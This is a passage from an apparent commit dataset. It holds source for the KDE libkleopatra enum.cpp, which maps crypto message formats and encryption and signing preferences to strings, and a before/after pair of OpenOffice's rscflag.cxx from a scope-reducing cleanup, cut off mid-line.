QStringList result;\n for ( unsigned int i = 0 ; i < numCryptoMessageFormats ; ++i )\n if ( f & cryptoMessageFormats[i].format )\n result.push_back( cryptoMessageFormats[i].configName );\n return result;\n}\n\nQString Kleo::cryptoMessageFormatToLabel( Kleo::CryptoMessageFormat f ) {\n if ( f == AutoFormat )\n return i18n(\"Any\");\n for ( unsigned int i = 0 ; i < numCryptoMessageFormats ; ++i )\n if ( f == cryptoMessageFormats[i].format )\n return i18n( cryptoMessageFormats[i].displayName );\n return QString::null;\n}\n\nKleo::CryptoMessageFormat Kleo::stringToCryptoMessageFormat( const QString & s ) {\n const QString t = s.lower();\n for ( unsigned int i = 0 ; i < numCryptoMessageFormats ; ++i )\n if ( t == cryptoMessageFormats[i].configName )\n return cryptoMessageFormats[i].format;\n return AutoFormat;\n}\n\nunsigned int Kleo::stringListToCryptoMessageFormats( const QStringList & sl ) {\n unsigned int result = 0;\n for ( QStringList::const_iterator it = sl.begin() ; it != sl.end() ; ++it )\n result |= stringToCryptoMessageFormat( *it );\n return result;\n}\n\n\/\/ For the config values used below, see also kaddressbook\/editors\/cryptowidget.cpp\n\nconst char* Kleo::encryptionPreferenceToString( EncryptionPreference pref )\n{\n switch( pref ) {\n case UnknownPreference:\n return 0;\n case NeverEncrypt:\n return \"never\";\n case AlwaysEncrypt:\n return \"always\";\n case AlwaysEncryptIfPossible:\n return \"alwaysIfPossible\";\n case AlwaysAskForEncryption:\n return \"askAlways\";\n case AskWheneverPossible:\n return \"askWhenPossible\";\n }\n return 0; \/\/ keep the compiler happy\n}\n\nKleo::EncryptionPreference Kleo::stringToEncryptionPreference( const QString& str )\n{\n if ( str == \"never\" )\n return NeverEncrypt;\n if ( str == \"always\" )\n return AlwaysEncrypt;\n if ( str == \"alwaysIfPossible\" )\n return AlwaysEncryptIfPossible;\n if ( str == \"askAlways\" )\n return AlwaysAskForEncryption;\n if ( str == \"askWhenPossible\" )\n return AskWheneverPossible;\n return UnknownPreference;\n}\n\nQString Kleo::encryptionPreferenceToLabel( EncryptionPreference pref )\n{\n switch( pref ) {\n case NeverEncrypt:\n return i18n( \"Never Encrypt\" );\n case AlwaysEncrypt:\n return i18n( \"Always Encrypt\" );\n case AlwaysEncryptIfPossible:\n return i18n( \"Always Encrypt If Possible\" );\n case AlwaysAskForEncryption:\n return i18n( \"Ask\" );\n case AskWheneverPossible:\n return i18n( \"Ask Whenever Possible\" );\n default:\n return i18n( \"no specific preference\", \"<none>\" );\n }\n}\n\nconst char* Kleo::signingPreferenceToString( SigningPreference pref )\n{\n switch( pref ) {\n case UnknownSigningPreference:\n return 0;\n case NeverSign:\n return \"never\";\n case AlwaysSign:\n return \"always\";\n case AlwaysSignIfPossible:\n return \"alwaysIfPossible\";\n case AlwaysAskForSigning:\n return \"askAlways\";\n case AskSigningWheneverPossible:\n return \"askWhenPossible\";\n }\n return 0; \/\/ keep the compiler happy\n}\n\nKleo::SigningPreference Kleo::stringToSigningPreference( const QString& str )\n{\n if ( str == \"never\" )\n return NeverSign;\n if ( str == \"always\" )\n return AlwaysSign;\n if ( str == \"alwaysIfPossible\" )\n return AlwaysSignIfPossible;\n if ( str == \"askAlways\" )\n return AlwaysAskForSigning;\n if ( str == \"askWhenPossible\" )\n return AskSigningWheneverPossible;\n return UnknownSigningPreference;\n}\n\nQString Kleo::signingPreferenceToLabel( SigningPreference pref )\n{\n switch( pref ) {\n case NeverSign:\n return i18n( \"Never Sign\" );\n case AlwaysSign:\n return i18n( \"Always Sign\" );\n case AlwaysSignIfPossible:\n return i18n( \"Always Sign If Possible\" );\n case AlwaysAskForSigning:\n return i18n( \"Ask\" );\n case AskSigningWheneverPossible:\n return i18n( \"Ask Whenever Possible\" );\n default:\n return i18n( \"no specific preference\", \"<none>\" );\n }\n}\n<commit_msg>CVS_SILENT wrong branch<commit_after>\/*\n kleo\/enum.cpp\n\n This file is part of libkleopatra, the KDE keymanagement library\n Copyright (c) 2004 Klarlvdalens Datakonsult AB\n\n Libkleopatra is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License as\n published by the Free Software Foundation; either version 2 of the\n License, or (at your option) any later version.\n\n Libkleopatra is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n In addition, as a special exception, the copyright holders give\n permission to link the code of this program with any edition of\n the Qt library by Trolltech AS, Norway (or with modified versions\n of Qt that use the same license as Qt), and distribute linked\n combinations including the two. You must obey the GNU General\n Public License in all respects for all of the code used other than\n Qt. If you modify this file, you may extend this exception to\n your version of the file, but you are not obligated to do so. If\n you do not wish to do so, delete this exception statement from\n your version.\n*\/\n\n#include \"enum.h\"\n\n#include <klocale.h>\n\n#include <qstring.h>\n#include <qstringlist.h>\n\nstatic const struct {\n Kleo::CryptoMessageFormat format;\n const char * displayName;\n const char * configName;\n} cryptoMessageFormats[] = {\n { Kleo::InlineOpenPGPFormat,\n I18N_NOOP(\"Inline OpenPGP (deprecated)\"),\n \"inline openpgp\" },\n { Kleo::OpenPGPMIMEFormat,\n I18N_NOOP(\"OpenPGP\/MIME\"),\n \"openpgp\/mime\" },\n { Kleo::SMIMEFormat,\n I18N_NOOP(\"S\/MIME\"),\n \"s\/mime\" },\n { Kleo::SMIMEOpaqueFormat,\n I18N_NOOP(\"S\/MIME opaque\"),\n \"s\/mime opaque\" },\n};\nstatic const unsigned int numCryptoMessageFormats\n = sizeof cryptoMessageFormats \/ sizeof *cryptoMessageFormats ;\n\nconst char * Kleo::cryptoMessageFormatToString( Kleo::CryptoMessageFormat f ) {\n if ( f == AutoFormat )\n return \"auto\";\n for ( unsigned int i = 0 ; i < numCryptoMessageFormats ; ++i )\n if ( f == cryptoMessageFormats[i].format )\n return cryptoMessageFormats[i].configName;\n return 0;\n}\n\nQStringList Kleo::cryptoMessageFormatsToStringList( unsigned int f ) {\n QStringList result;\n for ( unsigned int i = 0 ; i < numCryptoMessageFormats ; ++i )\n if ( f & cryptoMessageFormats[i].format )\n result.push_back( cryptoMessageFormats[i].configName );\n return result;\n}\n\nQString Kleo::cryptoMessageFormatToLabel( Kleo::CryptoMessageFormat f ) {\n if ( f == AutoFormat )\n return i18n(\"Any\");\n for ( unsigned int i = 0 ; i < numCryptoMessageFormats ; ++i )\n if ( f == cryptoMessageFormats[i].format )\n return i18n( cryptoMessageFormats[i].displayName );\n return QString::null;\n}\n\nKleo::CryptoMessageFormat Kleo::stringToCryptoMessageFormat( const QString & s ) {\n const QString t = s.lower();\n for ( unsigned int i = 0 ; i < numCryptoMessageFormats ; ++i )\n if ( t == cryptoMessageFormats[i].configName )\n return cryptoMessageFormats[i].format;\n return AutoFormat;\n}\n\nunsigned int Kleo::stringListToCryptoMessageFormats( const QStringList & sl ) {\n unsigned int result = 0;\n for ( QStringList::const_iterator it = sl.begin() ; it != sl.end() ; ++it )\n result |= stringToCryptoMessageFormat( *it );\n return result;\n}\n\n\/\/ For the config values used below, see also kaddressbook\/editors\/cryptowidget.cpp\n\nconst char* Kleo::encryptionPreferenceToString( EncryptionPreference pref )\n{\n switch( pref ) {\n case UnknownPreference:\n return 0;\n case NeverEncrypt:\n return \"never\";\n case AlwaysEncrypt:\n return \"always\";\n case AlwaysEncryptIfPossible:\n return \"alwaysIfPossible\";\n case AlwaysAskForEncryption:\n return \"askAlways\";\n case AskWheneverPossible:\n return \"askWhenPossible\";\n }\n return 0; \/\/ keep the compiler happy\n}\n\nKleo::EncryptionPreference Kleo::stringToEncryptionPreference( const QString& str )\n{\n if ( str == \"never\" )\n return NeverEncrypt;\n if ( str == \"always\" )\n return AlwaysEncrypt;\n if ( str == \"alwaysIfPossible\" )\n return AlwaysEncryptIfPossible;\n if ( str == \"askAlways\" )\n return AlwaysAskForEncryption;\n if ( str == \"askWhenPossible\" )\n return AskWheneverPossible;\n return UnknownPreference;\n}\n\nQString Kleo::encryptionPreferenceToLabel( EncryptionPreference pref )\n{\n switch( pref ) {\n case NeverEncrypt:\n return i18n( \"Never Encrypt\" );\n case AlwaysEncrypt:\n return i18n( \"Always Encrypt\" );\n case AlwaysEncryptIfPossible:\n return i18n( \"Always Encrypt If Possible\" );\n case AlwaysAskForEncryption:\n return i18n( \"Ask\" );\n case AskWheneverPossible:\n return i18n( \"Ask Whenever Possible\" );\n default:\n return i18n( \"no specific preference\", \"<none>\" );\n }\n}\n\nconst char* Kleo::signingPreferenceToString( SigningPreference pref )\n{\n switch( pref ) {\n case UnknownSigningPreference:\n return 0;\n case NeverSign:\n return \"never\";\n case AlwaysSign:\n return \"always\";\n case AlwaysSignIfPossible:\n return \"alwaysIfPossible\";\n case AlwaysAskForSigning:\n return \"askAlways\";\n case AskSigningWheneverPossible:\n return \"askWhenPossible\";\n }\n return 0; \/\/ keep the compiler happy\n}\n\nKleo::SigningPreference Kleo::stringToSigningPreference( const QString& str )\n{\n if ( str == \"never\" )\n return NeverSign;\n if ( str == \"always\" )\n return AlwaysSign;\n if ( str == \"alwaysIfPossible\" )\n return AlwaysSignIfPossible;\n if ( str == \"askAlways\" )\n return AlwaysAskForSigning;\n if ( str == \"askWhenPossible\" )\n return AskSigningWheneverPossible;\n return UnknownSigningPreference;\n}\n\nQString Kleo::signingPreferenceToLabel( SigningPreference pref )\n{\n switch( pref ) {\n case NeverSign:\n return i18n( \"Never Sign\" );\n case AlwaysSign:\n return i18n( \"Always Sign\" );\n case AlwaysSignIfPossible:\n return i18n( \"Always Sign If Possible\" );\n case AlwaysAskForSigning:\n return i18n( \"Ask\" );\n case AskSigningWheneverPossible:\n return i18n( \"Ask Whenever Possible\" );\n default:\n return i18n( \"no specific preference\", \"<none>\" );\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_rsc.hxx\"\n\/****************** I N C L U D E S **************************************\/\n\n\/\/ C and C++ Includes.\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n#include <rscflag.hxx>\n\n\/****************** C O D E **********************************************\/\n\/****************** R s c F l a g ****************************************\/\n\/*************************************************************************\n|*\n|* RscFlag::RscFlag()\n|*\n*************************************************************************\/\nRscFlag::RscFlag( Atom nId, sal_uInt32 nTypeId )\n : RscConst( nId, nTypeId )\n{}\n\n\/*************************************************************************\n|*\n|* RscFlag::Size()\n|*\n|* Beschreibung Die Groe�e der Instanzdaten richtet sich nach\n|* der Anzahl der Flags\n|*\n*************************************************************************\/\nsal_uInt32 RscFlag::Size()\n{\n return( ALIGNED_SIZE( sizeof( RscFlagInst ) *\n ( 1 + (nEntries -1) \/ (sizeof( sal_uInt32 ) * 8) ) ) );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::SetNotConst()\n|*\n*************************************************************************\/\nERRTYPE RscFlag::SetNotConst( const RSCINST & rInst, Atom nConst )\n{\n sal_uInt32 i = 0, nFlag = 0;\n\n if( nEntries != (i = GetConstPos( nConst )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n ((RscFlagInst *)rInst.pData)[ i ].nFlags &= ~nFlag;\n ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags &= ~nFlag;\n return( ERR_OK );\n };\n\n return( ERR_RSCFLAG );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::SetConst()\n|*\n*************************************************************************\/\nERRTYPE RscFlag::SetConst( const RSCINST & rInst, Atom nConst, sal_Int32 \/*nVal*\/ )\n{\n sal_uInt32 i = 0, nFlag = 0;\n\n if( nEntries != (i = GetConstPos( nConst )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n ((RscFlagInst *)rInst.pData)[ i ].nFlags |= nFlag;\n ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags &= ~nFlag;\n return( ERR_OK );\n };\n\n return( ERR_RSCFLAG );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::CreateBasic()\n|*\n*************************************************************************\/\nRSCINST RscFlag::CreateBasic( RSCINST * pInst )\n{\n RSCINST aInst;\n\n if( !pInst ){\n aInst.pClass = this;\n aInst.pData = (CLASS_DATA) rtl_allocateMemory( Size() );\n }\n else\n aInst = *pInst;\n\n return( aInst );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::Create()\n|*\n*************************************************************************\/\nRSCINST RscFlag::Create( RSCINST * pInst, const RSCINST & rDflt, sal_Bool bOwnClass )\n{\n RSCINST aInst = CreateBasic( pInst );\n sal_uInt32 i = 0;\n\n if( !bOwnClass && rDflt.IsInst() )\n bOwnClass = rDflt.pClass->InHierarchy( this );\n\n if( bOwnClass )\n memmove( aInst.pData, rDflt.pData, Size() );\n else\n {\n for( i = 0; i < Size() \/ sizeof( RscFlagInst ); i++ )\n {\n ((RscFlagInst *)aInst.pData)[ i ].nFlags = 0;\n ((RscFlagInst *)aInst.pData)[ i ].nDfltFlags = 0xFFFFFFFF;\n }\n };\n\n return( aInst );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::CreateClient()\n|*\n*************************************************************************\/\nRSCINST RscFlag::CreateClient( RSCINST * pInst, const RSCINST & rDfltI,\n sal_Bool bOwnClass, Atom nConstId )\n{\n RSCINST aInst = CreateBasic( pInst );\n sal_uInt32 i = 0, nFlag = 0;\n\n if( !bOwnClass && rDfltI.IsInst() )\n bOwnClass = rDfltI.pClass->InHierarchy( this );\n\n if( nEntries != (i = GetConstPos( nConstId )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n if( bOwnClass ){\n ((RscFlagInst *)aInst.pData)[ i ].nFlags &=\n ~nFlag | ((RscFlagInst *)rDfltI.pData)[ i ].nFlags;\n ((RscFlagInst *)aInst.pData)[ i ].nDfltFlags &=\n ~nFlag | ((RscFlagInst *)rDfltI.pData)[ i ].nDfltFlags;\n }\n else{\n ((RscFlagInst *)aInst.pData)[ i ].nFlags &= ~nFlag;\n ((RscFlagInst *)aInst.pData)[ i ].nDfltFlags |= nFlag;\n }\n }\n\n return( aInst );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::SetToDefault()\n|*\n*************************************************************************\/\nvoid RscFlag::SetToDefault( const RSCINST & rInst )\n{\n sal_uInt32 i = 0;\n\n for( i = 0; i < Size() \/ sizeof( RscFlagInst ); i++ )\n ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags = 0xFFFFFFFF;\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::IsDlft()\n|*\n*************************************************************************\/\nsal_Bool RscFlag::IsDefault( const RSCINST & rInst )\n{\n sal_uInt32 i = 0;\n\n for( i = 0; i < Size() \/ sizeof( RscFlagInst ); i++ )\n if( ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags != 0xFFFFFFFF )\n return( sal_False );\n return( sal_True );\n}\n\nsal_Bool RscFlag::IsDefault( const RSCINST & rInst, Atom nConstId )\n{\n sal_uInt32 i = 0, nFlag = 0;\n\n if( nEntries != (i = GetConstPos( nConstId )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n if( ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags & nFlag )\n return( sal_True );\n else\n return( sal_False );\n };\n return( sal_True );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::IsValueDefault()\n|*\n*************************************************************************\/\nsal_Bool RscFlag::IsValueDefault( const RSCINST & rInst, CLASS_DATA pDef,\n Atom nConstId )\n{\n sal_uInt32 i = 0, nFlag = 0;\n\n if( nEntries != (i = GetConstPos( nConstId )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n\n if( pDef ){\n if( (((RscFlagInst *)rInst.pData)[ i ].nFlags & nFlag)\n == (((RscFlagInst *)pDef)[ i ].nFlags & nFlag) )\n {\n return sal_True;\n }\n }\n };\n\n return sal_False;\n}\n\nsal_Bool RscFlag::IsValueDefault( const RSCINST & rInst, CLASS_DATA pDef )\n{\n sal_uInt32 i = 0;\n\n if( pDef ){\n sal_uInt32 Flag = 0, nIndex = 0;\n\n Flag = 1;\n for( i = 0; i < nEntries; i++ ){\n nIndex = i \/ (sizeof( sal_uInt32 ) * 8);\n if( (((RscFlagInst *)rInst.pData)[ nIndex ].nFlags & Flag)\n != (((RscFlagInst *)pDef)[ nIndex ].nFlags & Flag) )\n {\n return sal_False;\n }\n Flag <<= 1;\n if( !Flag )\n Flag = 1;\n };\n }\n else\n return sal_False;\n\n return sal_True;\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::IsSet()\n|*\n*************************************************************************\/\nsal_Bool RscFlag::IsSet( const RSCINST & rInst, Atom nConstId )\n{\n sal_uInt32 i = 0, nFlag = 0;\n\n if( nEntries != (i = GetConstPos( nConstId )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n if( ((RscFlagInst *)rInst.pData)[ i ].nFlags & nFlag )\n return( sal_True );\n else\n return( sal_False );\n };\n return( sal_True );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::WriteSrc()\n|*\n*************************************************************************\/\nvoid RscFlag::WriteSrc( const RSCINST & rInst, FILE * fOutput,\n RscTypCont *, sal_uInt32, const char * )\n{\n sal_uInt32 i = 0, Flag = 0, nIndex = 0;\n sal_Bool bComma = sal_False;\n\n Flag = 1;\n for( i = 0; i < nEntries; i++ ){\n nIndex = i \/ (sizeof( sal_uInt32 ) * 8);\n if( !( ((RscFlagInst *)rInst.pData)[ nIndex ].nDfltFlags & Flag) ){\n if( bComma )\n fprintf( fOutput, \", \" );\n if( ((RscFlagInst *)rInst.pData)[ nIndex ].nFlags & Flag )\n fprintf( fOutput, \"%s\", pHS->getString( pVarArray[ i ].nId ).getStr() );\n else{\n fprintf( fOutput, \"not \" );\n fprintf( fOutput, \"%s\", pHS->getString( pVarArray[ i ].nId ).getStr() );\n }\n bComma = sal_True;\n }\n Flag <<= 1;\n if( !Flag )\n Flag = 1;\n };\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::WriteRc()\n|*\n*************************************************************************\/\nERRTYPE RscFlag::WriteRc( const RSCINST & rInst, RscWriteRc & aMem,\n RscTypCont *, sal_uInt32, sal_Bool )\n{\n sal_Int32 lVal = 0;\n sal_uInt32 i = 0, Flag = 0, nIndex = 0;\n\n Flag = 1;\n for( i = 0; i < nEntries; i++ ){\n nIndex = i \/ (sizeof( sal_uInt32 ) * 8);\n if( ((RscFlagInst *)rInst.pData)[ nIndex ].nFlags & Flag )\n lVal |= pVarArray[ i ].lValue;\n\n Flag <<= 1;\n if( !Flag )\n Flag = 1;\n };\n\n aMem.Put( (sal_Int32)lVal );\n return( ERR_OK );\n}\n\n\/*************************************************************************\n|*\n|* RscClient::RscClient()\n|*\n*************************************************************************\/\nRscClient::RscClient( Atom nId, sal_uInt32 nTypeId, RscFlag * pClass,\n Atom nConstantId )\n : RscTop ( nId, nTypeId )\n{\n pRefClass = pClass;\n nConstId = nConstantId;\n}\n\n\/*************************************************************************\n|*\n|* RscClient::GetClassType()\n|*\n*************************************************************************\/\nRSCCLASS_TYPE RscClient::GetClassType() const\n{\n return RSCCLASS_BOOL;\n}\n\n\/*************************************************************************\n|*\n|* RscClient::WriteSrc()\n|*\n*************************************************************************\/\nvoid RscClient::WriteSrc( const RSCINST & rInst, FILE * fOutput,\n RscTypCont *, sal_uInt32, const char * )\n{\n if( pRefClass->IsSet( rInst, nConstId ) )\n fprintf( fOutput, \"TRUE\" );\n else\n fprintf( fOutput, \"FALSE\" );\n}\n\n\/*************************************************************************\n|*\n|* RscClient::Create()\n|*\n*************************************************************************\/\nRSCINST RscClient::Create( RSCINST * pInst, const RSCINST & rDflt,\n sal_Bool bOwnClass )\n{\n RSCINST aTmpI, aDfltI;\n\n if( pInst ){\n aTmpI.pClass = pRefClass;\n aTmpI.pData = pInst->pData;\n }\n\n if( !bOwnClass && rDflt.IsInst() ){\n bOwnClass = rDflt.pClass->InHierarchy( this );\n if( bOwnClass ){\n aDfltI.pClass = pRefClass;\n aDfltI.pData = rDflt.pData;\n }\n }\n\n if( pInst )\n aTmpI = pRefClass->CreateClient( &aTmpI, aDfltI,\n bOwnClass, nConstId );\n else\n aTmpI = pRefClass->CreateClient( NULL, aDfltI,\n bOwnClass, nConstId );\n aTmpI.pClass = this;\n\n return( aTmpI );\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>cppcheck: reduce scope of var in rsc rscflag.cxx<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_rsc.hxx\"\n\/****************** I N C L U D E S **************************************\/\n\n\/\/ C and C++ Includes.\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n#include <rscflag.hxx>\n\n\/****************** C O D E **********************************************\/\n\/****************** R s c F l a g ****************************************\/\n\/*************************************************************************\n|*\n|* RscFlag::RscFlag()\n|*\n*************************************************************************\/\nRscFlag::RscFlag( Atom nId, sal_uInt32 nTypeId )\n : RscConst( nId, nTypeId )\n{}\n\n\/*************************************************************************\n|*\n|* RscFlag::Size()\n|*\n|* Beschreibung Die Groe�e der Instanzdaten richtet sich nach\n|* der Anzahl der Flags\n|*\n*************************************************************************\/\nsal_uInt32 RscFlag::Size()\n{\n return( ALIGNED_SIZE( sizeof( RscFlagInst ) *\n ( 1 + (nEntries -1) \/ (sizeof( sal_uInt32 ) * 8) ) ) );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::SetNotConst()\n|*\n*************************************************************************\/\nERRTYPE RscFlag::SetNotConst( const RSCINST & rInst, Atom nConst )\n{\n sal_uInt32 i = 0;\n\n if( nEntries != (i = GetConstPos( nConst )) ){\n sal_uInt32 nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n ((RscFlagInst *)rInst.pData)[ i ].nFlags &= ~nFlag;\n ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags &= ~nFlag;\n return( ERR_OK );\n };\n\n return( ERR_RSCFLAG );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::SetConst()\n|*\n*************************************************************************\/\nERRTYPE RscFlag::SetConst( const RSCINST & rInst, Atom nConst, sal_Int32 \/*nVal*\/ )\n{\n sal_uInt32 i = 0;\n\n if( nEntries != (i = GetConstPos( nConst )) ){\n sal_uInt32 nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n ((RscFlagInst *)rInst.pData)[ i ].nFlags |= nFlag;\n ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags &= ~nFlag;\n return( ERR_OK );\n };\n\n return( ERR_RSCFLAG );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::CreateBasic()\n|*\n*************************************************************************\/\nRSCINST RscFlag::CreateBasic( RSCINST * pInst )\n{\n RSCINST aInst;\n\n if( !pInst ){\n aInst.pClass = this;\n aInst.pData = (CLASS_DATA) rtl_allocateMemory( Size() );\n }\n else\n aInst = *pInst;\n\n return( aInst );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::Create()\n|*\n*************************************************************************\/\nRSCINST RscFlag::Create( RSCINST * pInst, const RSCINST & rDflt, sal_Bool bOwnClass )\n{\n RSCINST aInst = CreateBasic( pInst );\n\n if( !bOwnClass && rDflt.IsInst() )\n bOwnClass = rDflt.pClass->InHierarchy( this );\n\n if( bOwnClass )\n memmove( aInst.pData, rDflt.pData, Size() );\n else\n {\n for( sal_uInt32 i = 0; i < Size() \/ sizeof( RscFlagInst ); i++ )\n {\n ((RscFlagInst *)aInst.pData)[ i ].nFlags = 0;\n ((RscFlagInst *)aInst.pData)[ i ].nDfltFlags = 0xFFFFFFFF;\n }\n };\n\n return( aInst );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::CreateClient()\n|*\n*************************************************************************\/\nRSCINST RscFlag::CreateClient( RSCINST * pInst, const RSCINST & rDfltI,\n sal_Bool bOwnClass, Atom nConstId )\n{\n RSCINST aInst = CreateBasic( pInst );\n sal_uInt32 i = 0;\n\n if( !bOwnClass && rDfltI.IsInst() )\n bOwnClass = rDfltI.pClass->InHierarchy( this );\n\n if( nEntries != (i = GetConstPos( nConstId )) )\n {\n sal_uInt32 nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n if( bOwnClass ){\n ((RscFlagInst *)aInst.pData)[ i ].nFlags &=\n ~nFlag | ((RscFlagInst *)rDfltI.pData)[ i ].nFlags;\n ((RscFlagInst *)aInst.pData)[ i ].nDfltFlags &=\n ~nFlag | ((RscFlagInst *)rDfltI.pData)[ i ].nDfltFlags;\n }\n else{\n ((RscFlagInst *)aInst.pData)[ i ].nFlags &= ~nFlag;\n ((RscFlagInst *)aInst.pData)[ i ].nDfltFlags |= nFlag;\n }\n }\n\n return( aInst );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::SetToDefault()\n|*\n*************************************************************************\/\nvoid RscFlag::SetToDefault( const RSCINST & rInst )\n{\n sal_uInt32 i = 0;\n\n for( i = 0; i < Size() \/ sizeof( RscFlagInst ); i++ )\n ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags = 0xFFFFFFFF;\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::IsDlft()\n|*\n*************************************************************************\/\nsal_Bool RscFlag::IsDefault( const RSCINST & rInst )\n{\n sal_uInt32 i = 0;\n\n for( i = 0; i < Size() \/ sizeof( RscFlagInst ); i++ )\n if( ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags != 0xFFFFFFFF )\n return( sal_False );\n return( sal_True );\n}\n\nsal_Bool RscFlag::IsDefault( const RSCINST & rInst, Atom nConstId )\n{\n sal_uInt32 i = 0, nFlag = 0;\n\n if( nEntries != (i = GetConstPos( nConstId )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n if( ((RscFlagInst *)rInst.pData)[ i ].nDfltFlags & nFlag )\n return( sal_True );\n else\n return( sal_False );\n };\n return( sal_True );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::IsValueDefault()\n|*\n*************************************************************************\/\nsal_Bool RscFlag::IsValueDefault( const RSCINST & rInst, CLASS_DATA pDef,\n Atom nConstId )\n{\n sal_uInt32 i = 0, nFlag = 0;\n\n if( nEntries != (i = GetConstPos( nConstId )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n\n if( pDef ){\n if( (((RscFlagInst *)rInst.pData)[ i ].nFlags & nFlag)\n == (((RscFlagInst *)pDef)[ i ].nFlags & nFlag) )\n {\n return sal_True;\n }\n }\n };\n\n return sal_False;\n}\n\nsal_Bool RscFlag::IsValueDefault( const RSCINST & rInst, CLASS_DATA pDef )\n{\n if( pDef ){\n sal_uInt32 Flag = 0, nIndex = 0;\n\n Flag = 1;\n for( sal_uInt32 i = 0; i < nEntries; i++ ){\n nIndex = i \/ (sizeof( sal_uInt32 ) * 8);\n if( (((RscFlagInst *)rInst.pData)[ nIndex ].nFlags & Flag)\n != (((RscFlagInst *)pDef)[ nIndex ].nFlags & 